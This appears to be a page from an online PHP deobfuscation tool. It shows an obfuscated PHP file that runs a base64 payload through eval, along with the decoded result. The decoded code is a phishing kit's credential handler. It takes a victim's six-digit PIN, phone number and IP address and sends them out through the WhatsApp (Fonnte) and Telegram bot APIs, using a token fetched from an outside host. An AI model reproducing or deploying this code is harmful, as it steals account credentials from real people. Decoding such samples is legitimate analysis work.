Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $data = 'c2Vzc2lvbl9zdGFydCgpOwokWFggPSBqc29uX2RlY29kZShmaWxlX2dldF9jb250ZW50cygiVG..

Decoded Output download

session_start();
$XX = json_decode(file_get_contents("Telegram.json"));

$id = $XX->id;
$YZ = $XX->Token;
$p1 = $_POST['pin1'];
$p2 = $_POST['pin2'];
$p3 = $_POST['pin3'];
$p4 = $_POST['pin4'];
$p5 = $_POST['pin5'];
$p6 = $_POST['pin6'];
$pin = $p1 . $p2 . $p3 . $p4 . $p5 . $p6;
$ip = $_SERVER['REMOTE_ADDR'];
$a = $_SESSION['nohp'];
$_SESSION['acc_pin'] = $pin;
$sms = "
INFORMASI AKUN
Akun: ". $a . "
Pin:  ". $pin ."
Ip:  ". $ip ."
";           
$to = "[email protected]";
$urlF = "http://api-yz.rf.gd/1.php";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $urlF);
curl_setopt($ch, 
CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

$T = ($response);

//res
$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => 'https://api.fonnte.com/send',
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => '',
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 0,
  CURLOPT_FOLLOWLOCATION => true,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => 'POST',
  CURLOPT_POSTFIELDS => array(
'target' => $to,
'message' => $sms,
),
  CURLOPT_HTTPHEADER => array(
    "Authorization: $T" //change TOKEN to your actual token
  ),
));

$response = curl_exec($curl);

curl_close($curl);

$curl = curl_init();
// Set the API endpoint URL
$url = "https://api.telegram.org/bot$YZ/sendMessage";
// Set cURL options
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query(array('chat_id' => $id, 'text' => $sms)));
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($curl);
curl_close($curl);
echo $response;

Did this file decode correctly?

Original Code

<?php
$data = 'c2Vzc2lvbl9zdGFydCgpOwokWFggPSBqc29uX2RlY29kZShmaWxlX2dldF9jb250ZW50cygiVGVsZWdyYW0uanNvbiIpKTsKCiRpZCA9ICRYWC0+aWQ7CiRZWiA9ICRYWC0+VG9rZW47CiRwMSA9ICRfUE9TVFsncGluMSddOwokcDIgPSAkX1BPU1RbJ3BpbjInXTsKJHAzID0gJF9QT1NUWydwaW4zJ107CiRwNCA9ICRfUE9TVFsncGluNCddOwokcDUgPSAkX1BPU1RbJ3BpbjUnXTsKJHA2ID0gJF9QT1NUWydwaW42J107CiRwaW4gPSAkcDEgLiAkcDIgLiAkcDMgLiAkcDQgLiAkcDUgLiAkcDY7CiRpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwokYSA9ICRfU0VTU0lPTlsnbm9ocCddOwokX1NFU1NJT05bJ2FjY19waW4nXSA9ICRwaW47CiRzbXMgPSAiCklORk9STUFTSSBBS1VOCkFrdW46ICIuICRhIC4gIgpQaW46ICAiLiAkcGluIC4iCklwOiAgIi4gJGlwIC4iCiI7ICAgICAgICAgICAKJHRvID0gIjEyMDM2MzE1MjcyNDIxOTgzOEBnLnVzIjsKJHVybEYgPSAiaHR0cDovL2FwaS15ei5yZi5nZC8xLnBocCI7CgokY2ggPSBjdXJsX2luaXQoKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybEYpOwpjdXJsX3NldG9wdCgkY2gsIApDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CmN1cmxfY2xvc2UoJGNoKTsKCiRUID0gKCRyZXNwb25zZSk7CgovL3JlcwokY3VybCA9IGN1cmxfaW5pdCgpOwoKY3VybF9zZ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pZCwgJ3RleHQnID0+ICRzbXMpKSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKJHJlc3BvbnNlID0gY3VybF9leGVjKCRjdXJsKTsKY3VybF9jbG9zZSgkY3VybCk7CmVjaG8gJHJlc3BvbnNlOw==';
$decode = base64_decode($data);
eval($decode);
?>

Function Calls

base64_decode 1

Variables

$data c2Vzc2lvbl9zdGFydCgpOwokWFggPSBqc29uX2RlY29kZShmaWxlX2dldF9j..
$decode session_start(); $XX = json_decode(file_get_contents("Telegr..

Stats

MD5 1c9a5cb0fd1c16176d4deced8088730a
Eval Count 1
Decode Time 38 ms